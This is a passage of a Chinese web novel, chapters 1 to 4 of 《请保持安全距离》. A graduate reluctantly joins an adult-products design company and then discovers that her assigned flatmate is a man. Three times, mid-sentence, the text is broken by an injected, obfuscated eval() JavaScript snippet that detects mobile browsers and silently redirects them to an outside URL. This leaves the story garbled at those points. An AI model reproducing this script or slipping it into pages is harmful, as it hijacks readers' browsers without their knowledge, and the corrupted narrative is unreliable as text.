《请保持安全距离》 1. 第 1 章 “成年人的小玩具……具体是指什么？” 林晚星微微俯首，抬起双眸，看向坐在对面的女人，压低声音问道。 其实她大概知道是什么，但是觉得还是确认一下。 万一就是字面意思，是为了满足成年人童趣的玩具呢，倒还显得她猥琐了。 坐在她对面的女人，名叫顾歆，是林晚星同校的学姐，也是她今天的面试官。她闻言嫣然一笑，大大方方地说：“不好意思，我应该说清楚一点，就是成人用品，常见的就是安全套，还有一些震动、吮吸类的用品，我们平时会说小玩具。” “哦……”悬着的心终于死了，林晚星脸红红的，尴尬得无言以对。 低下头的时候眼睛忍不住左右瞥了瞥，怎么有人可以在公众场合这么直白地说这些话呢！ 不过，比尴尬更重的是难过，好不容易有份工作找上门，却是这种不入流的公司。 她今年大学毕业，却不巧遇上“最难毕业季”。虽说“最难毕业季”年年都有，但她还是感觉今年尤其困难，简直毕业即失业。谁敢想象，她一个京市大学的毕业生，竟然已经待业三个月，投递了上百份简历，面试了几十家公司，却连一份offer都没有。 不是对方嫌弃她没经验，就是她嫌弃对方工资低。 全球经济下行，落到毕业生身上，是天崩开局。落到企业身上，就是地裂困局。中小微企业直接倒闭，大公司则讲究降本增效。开除拿着高薪的老油条，招进性价比高的年轻牛马。 月薪5000的岗位，工作内容却是三个人的量。 还没入职就先PUA，年轻人就是要多尝试多锻炼。 她也不是不能吃苦，也不是不能被压榨，只是扣除房租、交通费，每个月差不多就是倒贴做义工，连三餐温饱都是问题。 一怒之下，她发了一条朋友圈：【跪求江城月薪8000以上的工作，做什么都行！】 没想到，朋友圈发出去不到十分钟，一位在大学社团认识的学长就给她推了一个名片，说是京市大学的学姐，现在出来创业，她们公司正在急招产品设计师，工薪很高！ 产品设计师，工资高！专业对口，符合要求！ 林晚星立马添加微信发简历约面试，一系列操作下来，直到见面她才知道，这家公司竟然是一家成人用品公司。在她眼里，这种公司四舍五入等于色.情行业。 “不好意思，打扰了”的话已经到嘴边了，顾歆却抢先一步开口：“你的简历我已经看过了，很符合我们公司的要求。我们公司是双休，按国家法定节假日放假，朝九晚六，五险一金齐全，每年还有免费的员工体检。产品设计岗位的工资，试用期8000，转正后还有业绩和提成，到手通常有9千到1万。你看你还有什么疑问？” 沮丧失望的双眼瞬间又恢复神采。 什……什么？双休、五险一金、月薪8000以上！这不正是她梦寐以求的神仙工作吗？ 只是，只是……为什么这样的神仙工作要出现在这种色.情行业？ 还不如像别的公司一样，给她开个三五千的工资，那她还能痛痛快快地拒绝。 她难以跨过心里那道坎，可是又不想放弃这个条件这么好的工作。 于是，她委婉地请求：“我……能不能，再考虑一下？” “当然可以。”顾歆依然维持着得体的笑容，问道，“只是，我能了解一下，你的顾虑是什么吗？” “我……”林晚星很为难，总不能说自己行业歧视吧？这样也太不礼貌了。 见林晚星支支吾吾，顾歆反而直接地问道：“是不太能够接受成人用品这个行业？” “啊。”一下子被看穿了，林晚星颇为尴尬，“你看出来了？” “嗯。”顾歆点点头，脸上的笑波澜不惊，“因为你不是第一个这么想的。” 所以她们公司工资才这么高，但依然很难招到合适的人。 顾歆似乎真的很满意林晚星，仍在努力争取：“如果你有顾虑的话，可以上去我们公司参观，深入了解一下再决定。就在楼上。” 因为是同校校友，顾歆还是把林晚星当学妹看待，第一次见面没有约在公司，而是选在楼下的咖啡馆，不算特别正式的面试，更像是校友见面。 林晚星听说要去她们公司参观，脑海立刻弹出以前在网上不小心看到的一些颜色广告，还有街边的成人用品店里透出来的暧昧的红色灯光，心里的抗拒顿时达到了顶峰。 心里已经像个拨浪鼓一样摇个不停，表面还是尽力保持礼貌，婉拒：“谢谢，不过，我先考虑一下吧。如果感兴趣的话，我再联系你？” 顾歆笑道：“没问题。” 从咖啡馆出来，林晚星想着闺蜜宋知暖上班的地方距离这里只有两个站，而且也快到饭点了，于是给宋知暖发信息约她出来吃午饭。 两人见面，宋知暖立刻关心道：“今天面试怎么样？” 林晚星沮丧地摇摇头。 如果是像以前那样，待遇苛刻、工作内容也说不上很喜欢，她还不至于这么低落。 可是偏偏这家公司的待遇精准地戳在她的要求上，只是公司的性质…… “待遇很好。”林晚星将顾歆提供的工资待遇告诉宋知暖，但也没忘了说，“只是，是一家成人用品公司。” “啊？”宋知暖的反应和林晚星一样，“她们公司叫什么名字啊？” “蜜语。” “蜜语……”宋知暖低声复述，同时拿出手机在百度上搜索，她快速浏览了词条，说道，“才成立一年多的国产品牌，能给得起这么好的待遇啊？会不会有坑？” “我也不知道，我连她们公司都没去过，约在一家咖啡馆。” 宋知暖的疑虑更深，说：“总感觉不太正经，要不你还是再找找看。” 她说的算是委婉，她和林晚星同龄，成长环境也大同小异。 小时候大人们谈性色变，连电视剧偶尔出现亲嘴画面都要立马捂眼或者换台。 长大后催婚催育挂嘴边，但半句不提性。 床上那些事，更是不能提的禁忌。 在她眼里，这种公司，统一划分到色.情行业。 宋知暖下午还要上班，林晚星没有多打扰，吃完饭两人就散了。 她一个人回到自己租的房子里，疲惫地瘫坐在沙发上。 和宋知暖倾诉，并没有帮助她更好地做出选择，反而让她更烦了。 她隐隐感觉到，自己的内心是想接受这份工作的，她很想听宋知暖说，成人用品又怎么了？不要跟钱过不去。 但宋知暖跟她不一样，她家就在江城，她吃住都在自己家，生活压力相对小一点。又是家里的独女，从小被爸爸妈妈宠着长大的，她可以不委屈自己。 而林晚星的家，在距离江城300多公里的云禾，是一个五六线的小县城，没有什么合适的工作机会。回去工作的话，大概率是考公考编。 于是，她选择了南方发展得最好的城市江城，有高铁直达云禾，回家也方便。 刚过来找工作时，宋知暖热情地邀请她去她家住，说：“你现在还没找到工作，就别浪费钱租房子了，先住我家吧！等你找到工作，再根据工作地方租房子会方便很多。” 没想到，她一住就住了3个月。 本来想每个月给一点伙食费，可是他们一家根本不肯收。 她也不好意思一直白吃白住下去。 虽然还没找到工作，但她这个月还是决定搬出来，租了这个房子。 这个房子其实也挺好的，两房两厅，位于西江边上，距离江城的CBD只有一桥之隔。 站在阳台，还能从前面两栋楼的缝隙中欣赏“一线江景”。 唯一不好就是楼梯房，且在顶层7楼。 不过也因为楼梯房，而且是老小区，所以在这么好的地段，月租只有5000。 这个房子也是宋知暖的一个高中同学辗转介绍给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543136|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的。 这房子之前是她高中同学的同事租的，她之前是跟别人合租，最近换工作到别的城市去，而她的室友又买了新房子准备结婚了，所以双双搬走。 林晚星找不到人合租，本来不打算租的，但是对方说，她另一个室友也找到了人想租这里，下个月就来了。 行吧。毕竟去租一房一厅的公寓基本都要3、4千一个月，跟别人合租，不仅房租少一点，而且有人一起住也热闹一点，平时可以互相照应一下。 于是，她就先跟房东签了合同，根据“押一付三”的规定，她一口气付了四个月房租，几乎将她所有积蓄都掏光了。如果再找不到工作，她下个月连饭都吃不起了。 而眼下，正好有一份工作可以解燃眉之急。 成人用品公司又怎么了？只是设计师而已，又不是出来卖。 可是，别人问起你是做什么工作的又怎么说呢？ 说我在一家成人用品公司工作？天啊，别人会怎么想？ 管他们呢！林晚星，你马上连饭都吃不起了，你还关心别人怎么想？！ 身体里有两个小人在打架，林晚星感觉自己几乎要被她们撕裂。 她叹了一口气，疲惫地躺在沙发上。 这时，手机响起。 林晚星拿起一看，是爸爸林运辉。 “喂，爸。” “阿星，在上班吗？” 开头一句就像个锤子一样砸向林晚星。 她苦涩地应道：“没呢。” “哦……还没找到工作？”爸爸意识到自己可能说错话，赶紧转而安慰说，“没找到就没找到，不着急，慢慢来。” 林晚星没什么情绪地应了一句：“嗯。” “那你的钱还够不够用？不够就跟爸爸说。” 林晚星沉默了。 她交房租的那两万块还是毕业时爸爸给她的大红包。 本以为可以用一段时间，没想到一口气就全给出去了。 眼下她确实不够钱，但是她不会主动开口跟爸爸要。 在她一岁那年，爸妈就离婚了，她跟了爸爸。 可是，很快，爸爸就有了新家庭。很快，他又有了新的孩子。 4岁那年，她被送回妈妈身边。 虽然每年过年，她也会过去爸爸那里走动一下。 生日的时候，爸爸也会给她送礼物和红包。 可是，被抛弃的伤痛，早已在两人间划开了一条深深的鸿沟。 好像有些父母就是会这样。 缺席了孩子的童年，长大后就想着用金钱来弥补。 可是，偏偏金钱又是林晚星现在需要的。 她不主动要，但爸爸要给，她没法拒绝。 于是给了他一个心安理得的弥补机会。 “谢谢爸爸。” 两人都安静了，林晚星没有主动找话，但也没有催促要挂电话。 林运辉再次开口说道：“是这样，你弟弟下周末生日。你奶奶最近也念叨着想你了，你要不要过来爸爸这里玩一下？” 林运辉也在江城，不过江城很大，他在距离市中心大概30公里的工业区。 她不想去，她和那个同父异母并且抢走她父爱的弟弟没有什么感情，但是林运辉搬出了奶奶。 林晚星无奈：“再说吧。” 林运辉：“行，那我到时再问问。” 两人再次陷入安静，安静到尴尬的气息在两端蔓延。 林运辉主动说：“那没什么事，我就先挂了。” 林晚星：“好。” 电话挂断后，林晚星的微信就收到了5000元的转账。 又能撑一段时间了。 但这不是长久之计。 她咬了咬牙，心里的选择逐渐清晰。 不就是设计大人的玩具嘛，谁怕谁！ 林晚星拿起手机，给顾歆发了一条信息：“歆姐，请问明天可以上去你公司参观一下吗？” 2. 第 2 章 做下这个决定，像是搬运了一块巨石爬7层楼。 林晚星累得直接瘫倒在沙发上，昏昏沉沉地睡过去。 直到被一束强光亮醒，她恍惚睁开眼睛。 夕阳的光从阳台长驱直入，打在她的脸上。 她竟然睡了一下午。 迷迷糊糊醒来，她走到阳台。 太阳已坠落至半空，卡在前面两栋楼之间的缝隙中。 像是指缝握不住的水，夕阳的余晖执拗地从楼栋中挤出，倒有种光芒万丈之感。 她掏出手机，拍了张照片，随手发朋友圈： 【“一线”江景日落，还不错。】 很快，收获了第一个赞和第一条评论。 罗青盈：哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈是挺不错。 是她亲妈罗青盈。 她都数不出有多少个哈，只知道转了三行，她差点都没发现后面还带了四个字后缀。 林晚星回道：妈，你吵到我眼睛了！ 罗青盈没回复，而是直接打电话过来：“林晚星。” 罗青盈一直都对她直呼其名，但是她喊出来的名字总是带着别人呼唤她不曾有的亲呢。 林晚星：“欸。罗女士有何贵干？” 罗青盈：“没住你闺蜜家啦？” 林晚星：“没，搬出来了。” 罗青盈：“搬出来也好，朋友之间偶尔麻烦一下没关系，一直麻烦迟早会讨嫌。” 她又叮嘱一句：“抽空请你闺蜜吃个饭呗。” 林晚星：“知道。她今天刚请我吃饭了。” 说完，她听到话筒里传来罗女士一声“啧”，颇有一种孺子不可教的绝望。 罗青盈：“自己出来租房要不少钱吧，你生活费够不够？” 林晚星如实交代：“本来是不够的，但爸下午给我打了5000。” 罗青盈：“行，他给你就拿着。不够再跟妈说。” 林晚星顺便提了一嘴她便宜弟弟生日的事。 罗青盈干脆利落地给出建议：“想去就去，不想去就不去。不过如果不去，奶奶那里记得打个电话。” 虽然离婚了，但罗青盈对林运辉的态度一直很平和，没有太多怨恨。 小时候，她还常常安慰林晚星，说大人的世界很复杂，爸爸将她送回来，也是有他不得已的原因。因此，她从来不限制她和爸爸的联系，甚至还会提醒她。 她是在成年后才明白，罗青盈这么做，是想让她知道，大人离婚是大人的事，但血缘关系是割裂不了的。她不是没有爸爸的人，他们只是没有一起生活。 她愿意让林晚星接受林运辉的好意，也是想让她感受到父爱。 尽管并不多，尽管是用物质的方式表达。 林晚星应道：“知道了。” …… 第二天，林晚星如约来到蜜语。 顾歆带着她走进公司，整个公司亮堂又温馨，和她脑补的在老破小里阴暗、泛着红灯光的三无作坊天壤之别。 门口前台挂着一个招牌，上面写着“蜜语”，下面写着两个英文：WHISPER|SCREAM。 在走过品牌墙的时候，顾歆顺便介绍道：“这是我们目前的两条主要产品线，WHISPER是安全套，SCREAM是小玩具。” 墙上只是放了产品的小样作为展示，没有她担心会看到的直白露骨的器具或者图片，这让林晚星暗暗松了口气。 精神上放松了下来，她也看到了更多东西：“产品是以声音分贝来命名吗？” 顾歆微怔一瞬，忍不住笑了：“看来你发现了亮点，命名之前没有特意往这个方向考虑，不过偶然冒出了这些单词，又意外地发现恰好合适。” 林晚星说不出到底哪里合适，whisper是耳语？和安全套到底有啥关系。scream是尖叫？听着更像是一款功能饮料。 但她也没有继续问下去。 两人来到办公区，这里的空间很宽敞，刚走进来就给人很松弛的感觉。办公桌是三张成一组，以“Y”的形状分布。林晚星虽然不是学室内设计，她也知道这样的布局绝对不是一种节省空间的方式，不过对员工来说，既能保有一定的个人空间，又能方便同事间交流。 反正她还挺喜欢的。 她们走进来的时候，有人正在工位上嘀嘀哒哒地敲着键盘，有人站在边上激烈地讨论着什么。看到她们进来，对方停下争论，叫了声“歆姐”，又对林晚星点头一笑。 林晚星再次发现异样，凑近顾歆耳边低声问道：“歆姐，你们这里，都是女员工？还是男的不在？” 顾歆颇为赞赏地看了林晚星一眼，说：“观察力不错哦。别人都说我们公司有严重的性别歧视，只招女的不招男。” 林晚星有点惊讶地微微张开嘴，把顾歆逗得又是一笑：“因为我们主要是研发设计针对女性的成人用品，所以我觉得女性会更了解女性，而且平时工作的交流讨论，也可以避免尴尬，更加专注于工作上的探讨。” 不得不说，这一点也在很大程度上削减了林晚星的担忧和紧张。毕竟，她实在不希望以后在工作上和男的讨论私密话题。 公司不算大，走一圈就逛完了。顾歆将林晚星请进自己的办公室。 两人在沙发上坐下，顾歆烧开了一壶水，缓缓地倒入茶壶中，清淡的茶香伴随着白色的蒸汽幽幽腾起，也打开了今天正式的话题。 “怎么样？有决定了吗？”顾歆将小小的茶杯放在林晚星面前，问道。 “其实我会过来参观，就已经有决定了，现在我更加没什么顾虑了。”林晚星答道，“歆姐，我想加入。” 顾歆脸上扬起笑容，她似乎很高兴听到林晚星这个答案，但是又不是很意外。 她伸出手：“欢迎你加入。” 林晚星赶紧将手握上去：“谢谢。歆姐，应该是我谢谢你给我这个机会。” 顾歆：“那我们现在就签合同？” 林晚星：“？” 可以感觉到，她们好像真的很缺人。 林晚星签好了入职资料和劳动合同，顾歆跟她确认：“你什么时候可以上班呢？” 林晚星：“明天就可以。” 顾歆双手一拍，说道：“太好了！带你去认识下其她同事。” 上班在一定程度上缓解了林晚星生活的窘迫和就业的焦虑，而且她刚上班的工作就是负责产品包装设计和宣传物料设计，而蜜语本身又有自己固定的风格，工作都不算难。她甚至开始庆幸自己选择了这份工作。 不过好景不长，上班第二周，林晚星第一次参加公司例会。 这次会议内容，是复盘她们即将推出的超薄水润小雨伞。这款产品上周刚完成了用户反馈测试。每次新产品上市前，除了要经过一系列安全性测试外，还会邀请目标用户群体进行反馈测试，当然蜜语自己的工作人员也是可以参与测试的。 客服部的同事整理归纳了用户的测试反馈：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543137|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总体而言，普遍的反馈都是觉得确实水润了，而且也兼顾了舒适度，不过薄度还是不够。” “还不够薄啊！”话音刚落，研发设计部的leader高菲菲就皱着眉头说，“薄和水润本身就是很难共存，这款已经做到0.03mm了。做人不能既要又要，做.爱也不行啊。” “是这样的啦。”负责品宣的小优说道，“我每天看用户的留言，又要追求薄，又要安全，又想延时，还要水润，根本不管合不合理，只想把所有功能集中在一款产品上。” “嗯。”顾歆认真看过了所有的测试反馈，总结道，“用户必然是这么想的，谁不希望买到十全十美的产品呢？不过我们要清楚自己的产品定位，这款就是主打水润，在宣传上侧重我们添加了1500ml的水基玻尿酸，找准我们的目前受众就好。” “嗯，其实我自己用下来，也觉得挺水润挺舒服的，而且很好冲洗，不像XXX家的，油乎乎，洗都洗不掉。” “同意，而且我个人感觉已经很薄了，用起来跟隔壁家那款主打超薄的001没什么分别。” …… 接下来的议程，几乎变成了员工的测评交流会。 林晚星每个字都听懂，连起来却不认识了，完全不知道她们在说什么。而且她没接触过这款产品，连它的宣传物料都没做过，更别说用。因此一个字都说不出，只能像鹌鹑一样窝在自己的位置上，脸却越来越热。 然而，就像上学时候，越是不会回答问题，越是把头埋得低低的，就越会被老师叫到。 顾歆看到林晚星一直低着头，一个字不说，关心地问道：“晚星，你什么看法？” “啊？”林晚星猛地抬起头，“我……不知道……” 说完，她又意识到自己的回答好像有些敷衍，解释道：“我没接触过这款产品……” “哦，是……”顾歆想起林晚星进来的时候，这款产品已经进入用户测试阶段，她拿过桌上的一盒样品递到林晚星面前，说，“没关系，你可以拿一盒回去体验下。” 林晚星看着面前那盒颜色可爱的小东西，却像烫手的烙铁一样，根本连碰都不敢碰。她摆了摆手，说道：“不用了，我……我用不上……我单身，没男朋友。” “啊！你还没男朋友啊！”品宣部的小优惊讶地看着林晚星，“真的假的！真是白长了这张脸！” 大家看着林晚星的眼神也变得充满了可惜、同情、遗憾。 小优眨着眼睛问道：“你喜欢什么样的男人，要不要给你介绍下？” “呃……我，还没想过……” “不用害羞的，我男朋友公司很多优质单身男，保证有合你心意的！” 好好的会议突然变成了林晚星的招亲会，她的择偶问题仿佛成了公司接下来最重要的任务。 直到会议结束，她走出会议室那刻，才终于觉得喘过气来。 她疲惫地坐在椅子上，拿起放在桌子上的手机，发现上面有两个陌生来电，微信也有新消息。 她点开，是那个给她介绍房子的女孩：【姐妹，你的新室友到了。刚才说打你电话你没接。】 相隔了10分钟，她又发了一条：【没事啦，我跟房东说了，房东给他拿钥匙了。】 新室友啊……那两个陌生来电，应该就是新室友打过来的吧。 她看了一眼时间，已经过了下班时间了，于是关电脑，拿起包一边走出去一边回复道：“不好意思啊，刚才在开会没带手机，我现在回去。” 3. 第 3 章 在会议室煎熬了两个多钟，又在地铁上被挤成肉饼，林晚星感觉自己三魂都被挤出了七魄。回到滨江花园，她疲惫地上楼、掏出钥匙、打开了门。 门缝立刻透出米黄色的灯光，她先是一惊，在忘了关灯还是进贼了之间，倏然想起了她的室友到了这件事。 对了，她有室友了，以后终于不是自己一个人住了！ 林晚星并不排斥合租，而且还觉得有点像回到了大学时期。 新室友的加入，像是一粒小石子坠入她平静的生活，激起了一丝涟漪，也给她平淡如水的生活注入新的能量。 精神稍稍恢复，她关上门转过身，准备进去和新室友见面，刚抬起头，却猛地愣住了，整个人石化！ 天啊！怎么回事？ 她的家里，怎么，怎么，怎么会，会有一个，男人？ 还是一个赤裸着上身的男人！ 林晚星瞪大双眼，倒吸了一口气，身体僵硬地倒退了一小步，紧紧地贴在门板上。 那男人站在浴室门口，里面的热气涌了出来，环绕在他身旁。 他的头发湿漉漉的，水珠顺着发梢滴落下来，沿着身体肌肉的脉络一路向下，从胸肌滑落到腹部。 他的腹部覆着六块薄薄的肌肉，像是老家的田一样规整，水珠就从田之间的沟壑一路向下，最终顺着人鱼线，没入裹着浴巾的深处。 对方听到开门的动静，看了过来。 沐浴后的男人，连一双眸子都特别明亮清澈，显得很无辜的样子。 他似乎也没搞清楚眼前的状况，看着石化的林晚星，微微蹙眉。 林晚星虽然没搞清楚状况，但她看清楚了他的样子。 好干净清爽的一张脸！ 就像是大学校园里每个女生都喜欢的阳光温柔大帅哥！ 五官端正，脸部线条流畅，帅气而不凌厉，只是皮肤有些冷白。 像是终年不见天日捂出来那种。 她家里怎么会有这样的帅哥啊？ 一定是她搞错了！ 她看到那个帅哥双唇微启，准备说什么。 做贼心虚似的，林晚星赶紧抢先开口：“对不起，我走错了！” 说完，她一转身，打开门就跑了出去。 跑出去后，林晚星双腿还有些发软。 她站在门外，后背贴着大门，终于将刚才吸进去的那口气吐了出来。然而看到的那副美男出浴图却始终在脑海里挥之不去。 她好像又回到下午的那个会议室，双脸发烫，浑身燥热。 林晚星吞了一口口水，将心里想要冒出来的邪念一并吞了下去。 她一边大口大口地喘着气，一边抬起双手，用力地朝着脸颊上下摆动，给自己的脸降温。等她气息平缓了之后，她才往前走了两步，回头看一眼门上的牌子。 702？是她家啊！那就没错，她没走错？ 智商重新回笼，她低头看了看手里攥着的钥匙，她刚才是用钥匙开的门啊！ 这确实是她家，她没走错啊！ 不是吧！真进贼啦？还来了一个这么帅的？ 理清了不是自己理亏后，林晚星忿忿地再次打开门，气势汹汹地走进去。 那个男的这下来到了客厅，他已经穿上了衣服，正拿着一条毛巾擦拭头发。 再次听到开门声，他扭头看了过来。 两双眼睛在空中碰撞的那一瞬间，林晚星熊熊的气焰顿时灭了三分。 而且，他穿上衣服后，虽然遮住了充满男性荷尔蒙的肌肉，却又多了一股文气，无辜又无害。 真是完美诠释了那句“脱衣有肉，穿衣显瘦”，任谁对着这样一个帅哥都发不了火呀。 她礼貌地说道：“不好意思，这是我的家，我确定我没走错。请问，是不是你走错了？” “据我所知，应该没有。”男人开口说道，音色清朗，很是悦耳。 他停下擦头发的手，从裤兜里掏出钥匙，证明自己的清白，“房东给我的，我也是用钥匙开门进来的。” 事到如今，林晚星算是彻底搞清了状况，她抬手捂住惊讶得张开的大嘴：“你就是，我的新室友啊？” …… “姐妹，你怎么没告诉我，你给我找的室友是……是一个男的呀？” 林晚星第一时间给那个转租房子给她的女孩打电话，跟她核实情况。 “妹子，事先声明，你那个室友不是我找的，是我另一个室友找的。她也没告诉我是男是女，你也没问我啊，不是吗？” 言下之意，她也很无辜，林晚星一时竟无言以对。 确实自己也有责任，她第一次出来租房子，而且是跟人合租，很多事情没有问清楚。那也是因为她下意识觉得，女孩子找的也应该是女孩子。 那个女孩见林晚星无话可说，便觉得自己占了上风，底气也上来了。 “其实你也不必那么大惊小怪，男女合租很正常的。我的同事也很多是男女合租。说实话，你一开始可能觉得很不方便，但是相处起来，男的反而不像女孩子那么多矛盾。而且，你现在住的那个房子，主卧不是有阳台有卫生间，回到家就关自己房间，洗澡晒衣服全在房间解决，没什么不方便的。” 林晚星虽然知道自己不能怪对方，但是她这种语气却让她受不了：“你能接受，你觉得好，不代表我也是这么想。我不是那么随便的人。” 对方有些无语地笑了：“男女合租怎么就随便了？又不是叫你们搞在一起。我也不怕告诉你，我现在也是跟男的合租，之前也是，就你现在住的那个房子，你那个室友就是他找的啊。” 林晚星差点没被气死。难怪会给她找了一个男室友。 心里的委屈莫名地涌上来，她声音略带哽咽地说：“那你应该提前告诉我，你之前的室友是男的啊！我当初是听你说，你另一个室友帮我找到人合租我才租的。如果我知道你之前那个室友是男的，我就会多问一句。” 对方无辜地一笑：“妹子，你真不能怪我。这个房子你租不租跟我真的没半毛钱关系，我就是好心帮房东发个租房信息，房东也不给我中介费。我当时纯粹就是出于好心，你要租房子住，房东要把房子租出去，我在中间好心给你们牵线，现在你怎么反过来怪我呢？” 林晚星跟她根本说不通，懒得废话，直接把电话挂了。 转过身，她看到坐在客厅沙发上的陈图森也刚挂电话，抬起头看向她。 这一刻，他们彻底将状况搞明白了。 这个房子的上一任租客，一男一女，在租约到期后，各自搬走，各自帮房东发了一条转租信息。于是，女租客的信息经过多方流转，来到林晚星面前。另一个男租客发的信息，大概也是经过同样的流程，找到了她面前这个男人。 林晚星攥着手机，从阳台走进来，说道：“我知道，你也是无辜的。我不怪你。” 那个男的脸上并没有感激的样子，面无表情，波澜不惊的。 “但是，”林晚星不想走到沙发和他并排坐着，于是搬来一张小板凳在他对面坐下，顿时又觉得矮人一等，于是又重新站起来，叉着腰俯视着对方，“这个房子，我已经交了3个月的房租和一个月押金，要我搬也是不可能的。” 男人微微蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543138|171078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉，表情有些不耐烦，不知道是仰头的姿势难受，还是因为林晚星说的话难受。 他冷冷地开口说道：“我没让你搬。” “很好。”林晚星双手一击，响起清脆的掌声，“那就麻烦你重新找地方。” “现在也不算很晚，我知道这条街上有一间快捷酒店，就几百米，你今晚可以在那里先将就将就。我可以带你过去。” 男人听懂了林晚星要赶他出去，双手抱在胸前，往沙发上一靠，更好地仰视林晚星，不解地问道：“虽然但是，为什么要我搬？” 林晚星再次无语凝噎：“我不搬……你不搬，so？” 你想怎样？ “so……”男人耸耸肩复述道，“这屋子有两间房，不是吗？” 你一间我一间，刚好。 林晚星仰头叹了一口气，怎么今天遇到的都是无法沟通的人。 她直接挑明：“我不跟男的合租！” 男人精准地找到漏洞：“这样的话……这是你的问题，为什么要我搬？” 林晚星一口气差点顺不过来：“这是，这是我先租的好嘛！” 男人垂眸沉吟片刻，快速运转的脑袋很快就将眼前的情况理清并理出一个解决办法，他抬头说道，“其实我也不习惯和女孩子合租。要我搬可以，但我不想住酒店，我一时半会也找不到新房子。” 林晚星的眉头也拧了起来：“那你想怎么样？” “正如你刚才说，我也是无辜的。”男人说道，“这样吧，你也要重新找室友不是？给我们大家一个月时间，我找新房子，你找新室友。一个月后我就搬，行吧？” 林晚星眨了眨眼，在消化男人提出的建议。 这倒不失为一个好办法。 “可以。”林晚星答应道，“不过，你这个月也是要交房租。一个月5000，两间房，我们就五五分，一人2500。” “没问题。”男人站起来，掏出手机，“现在就转你？” 见对方这么爽快，林晚星这下气也消了九分，打开自己的微信二维码：“你扫我吧。” 手机很快识别出来，男人看到对方的微信名就是一颗星星的图案，一边输入验证信息，一边说道：“我叫陈图森。” “谁问你了。”林晚星没好气地应道，低下头就看到微信上弹出的好友申请，上面写了三个字“陈图森”。 他刚才是在自我介绍？她点击验证通过，想着他们毕竟要做一个月室友，于是一边在输入框输入一边说道，“林晚星。” 陈图森看到弹出新信息，轻轻地“嗯”了一声算是回应。 冷漠，真的很冷漠。 林晚星觉得眼前这个人，像是一个机器人一样。 从刚才开始，就一直情绪稳定，声线始终保持在同一频率，几乎没有任何波动。 这种人，说得好听就是情绪稳定，说得难听就是无趣。 林晚星刚在心里嫌弃完，下一秒手机一响，对方已经将2500元的房租转了过来。 房租终于可以有人分担，林晚星顿时心花怒放，重新给对方定义：他这种属于情绪稳定。 陈图森不知道自己的形象在林晚星那里遭受反复更改，平静地说道：“房租转给你了，还有其它事吗？” “呃……”林晚星努力地想，她是第一次租房，还是第一次跟人合租，更是第一次跟男人合租，她也想不到还有什么，“还有……对了，水电什么的，我们也是平分，到时再算。还有一些日用品，我都买了……不过，你就住一个月，算了吧……” “既然你想不到，那我提点建议。” 4. 第 4 章 林晚星忍不住又皱起眉头，不是，你这人就暂住一个月，还有意见？ 陈图森似乎看穿了林晚星心里想的，但他自顾自地说道，“虽然我只住一个月，但为了我们这一个月能够相处融洽，有些规矩还是要定的。” 对，合租规矩，她怎么没想到。 林晚星点点头：“你说。” “第一，希望我们能尊重对方的隐私。我不介意和别人合租，但是我比较重视个人空间，不喜欢别人未经我的同意进入我的私人空间。既然你的房间有卫生间，这个客卫就属于我的，所以，我的房间、我的卫生间，我希望在未经我同意之前，请不要进入。同理，未经你允许，我也不会进入你的房间。我们都保持边界感，保持一定距离，可以吗？” 虽然他说得有道理，但是他反客为主的语气让林晚星心里觉得膈应，说得好像她是多没边界感的人一样。 她傲娇地应道：“可以，这也是我希望的。” “第二，我不喜欢热闹，所以请尽量不要带朋友上来。如果真的有必要，请事先通知。而且，非必要，不要过夜。” 林晚星在江城没什么朋友，关系好的就宋知暖一个，但她家就在这里，一般不会在她这里过夜。她爽快地应下：“没问题。” “第三，日常的消耗品，我自己会买，我们还是各用各的。如果真的涉及有公用的，可以再另算价钱。另外，除了消耗品外，这个房子的卫生，我们一个星期打扫一次，用轮值的方式，你一周我一周，可以吗？” 林晚星应道：“行。还有吗？” “没了。”陈图森应道，“这些规矩，也不是针对你，只是我以前踩过的坑，不希望重蹈覆辙。无论室友是谁，我都是这样的规矩。” 林晚星心里那点膈应倏地消失，她没想到陈图森会突然解释。这么说起来，陈图森不是第一次跟人合租？ “你以前也跟人合租过？” “嗯。” “难怪你看起来很有经验。” 看到陈图森有些不解的眼神，林晚星赶紧补充道，“我说，在合租方面。” 陈图森：“……还行。” “……” 林晚星莫名想起前任租客说，男女合租是很平常的事，顺嘴问道：“你以前也跟女孩子合租？” “没有。”陈图森抬眸看向林晚星，似乎在琢磨她问这个问题的意思，却撞进她似星辰闪烁的清亮双眸，“这是第一次。” …… 暂时解决了住宿问题，陈图森回到房间，关上门，终于得到了片刻的安静。 面对乱糟糟的行李，他也没有了收拾的动力。 